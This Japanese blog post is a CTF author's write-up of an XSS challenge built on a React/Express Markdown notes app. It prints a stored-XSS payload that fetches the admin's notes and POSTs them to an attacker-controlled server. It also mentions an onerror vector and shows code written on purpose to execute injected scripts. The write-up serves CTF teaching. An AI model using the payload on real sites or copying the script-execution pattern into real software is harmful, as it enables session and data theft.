Help us understand the problem. What is going on with this article?

チーム内CTFで作問した話 - XSS編

More than 1 year has passed since last update.

この記事は m1z0r3 Advent Calendar 2018 の8日目です。

前回 チーム内CTFで作問した話 - プロトタイプ汚染攻撃編 - Qiita という記事を書きましたが、その続きです。

問題の概要

出題した問題は、Qiita のように Markdown でメモが作成できる簡易 Web アプリケーションです。
FLAG が 2 つあり、1つ目の FLAG が簡単な XSS により手に入り、2つ目の FLAG がプロトタイプ汚染攻撃により手に入るようになっています。

SPA でできており、フロントエンドは React、サーバサイドは Express で書かれています。

image.png

ノートを投稿すると、Admin が投稿を確認しに来るというシンプルな設定です。また、FLAG は Admin が最初に投稿したノートに書かれています(当日は問題文にそのことが書いてありました)。

解答

普通にアプリケーション上のエディタで XSS を試しても <script> タグは使えません。

しかし、 Markdown の変換はクライアント側で行なっており、作成時にタイトルと Markdown の本文、Markdown をパースした HTML を送信しています。そして、作成されたノートでは、送信された HTML をそのまま表示しています。
したがって、 Burp suite でリクエストを書き換えるなり、 Postman 等で送信するなりすれば XSS は可能です。

あとは以下のような内容を POST すれば FLAG にたどり着けます。

<script>
  fetch('/api/notes', { credentials: 'include' })
    .then(r => r.text())
    .then(text => fetch('Your Server', { method: 'POST', body: text }))
</script>

ここから本題

ここまでの話は CTF ではよくある XSS の問題であり、難易度としても高くないと思います。

しかし、作問が終わって試した際にあることに気付きました。

「あれ、XSS できない!?」

この問題はクライアント側は React を使っており、SPA になっています。投稿したノートを見るとき( /notes/:uuid にアクセスしたとき)に以下の手順を踏みます。

  1. Express によって index.html が返される(それにより webpack により build された index.js が読み込まれる)
  2. index.js が実行され、 React が DOM を生成
  3. ノートの内容を取得するために axios で /api/notes/:uuid を叩く(その間は Loading ... が表示される)
  4. API の結果を元に再度 React がノートを描画する

まず、基本的に React の場合は操作するのが仮想 DOM であり、React が DOM を生成する際に自動で HTML エスケープしてくれる ため、XSS は起こりにくいです。しかし、これではデータベースの中に保存した(Markdown を変換した) HTML を表示することができません。

そこで、React では dangerouslySetInnerHTML というのを用いて HTML (の文字列)から DOM を生成します。ここで私は勘違いをしていて、てっきり <script> も実行されると思っていたのですが、 dangerouslySetInnerHTML で挿入した <script> は実行されません。1

どうやら MDN によると、 Element.innerHTML<script> を追加した場合には実行されないようです。ここでさらに勘違いをして、 実際には MDN のページにあるように <img src='x' onerror='alert(1)'> などで XSS できる のですが(なので dangerouslySetInnerHTML を使うときは XSS に注意)、XSS できないと思い込んでしまい四苦八苦します。

XSS させるためにした工夫

さて、実際には onerror 等で XSS は可能(つまり問題として成立済み)なのですが、気がついていなかったので、ノートの本文中の <script> を実行できるように頑張りました。

実は element.appendChild() を用いると <script> を実行することができます。
これを利用して、 API 経由で情報を取ってきた後に、ノートの本文の HTML 中の <script> をすべて探し出し、 appendChild で最後にまとめて追加しました。

const fragment: DocumentFragment = document.createDocumentFragment()

const mdBody = document.createElement('div')
mdBody.className = 'markdown-body'
mdBody.innerHTML = this.state.note!.body
fragment.appendChild(mdBody)

const scripts = mdBody.getElementsByTagName('script')
for (const script of Array.from(scripts)) {
  const element = document.createElement('script')
  element.type = 'text/javascript'
  element.async = true
  if (script.src) element.src = script.src
  element.innerHTML = script.innerHTML
  fragment.appendChild(element)
}

this.state.instance.appendChild(fragment)

これにより、無理やりですが、ノートに書かれた script を実行できるようになりました。

koki-sato
新卒のソフトウェア&ネットワークエンジニア。学生時代は Increments 社で Qiita を開発したり、趣味で CTF をやっていました。
https://koki-sato.com
internetmultifeed
インターネットエクスチェンジサービス「JPNAP」および、IPv6 ISPローミングサービス「transix」を提供しているネットワークサービスの会社です。
https://www.mfeed.ad.jp
Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
Comments
No comments
Sign up for free and join this conversation.
If you already have a Qiita account
Why do not you register as a user and use Qiita more conveniently?
You need to log in to use this function. Qiita can be used more conveniently after logging in.
You seem to be reading articles frequently this month. Qiita can be used more conveniently after logging in.
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
ユーザーは見つかりませんでした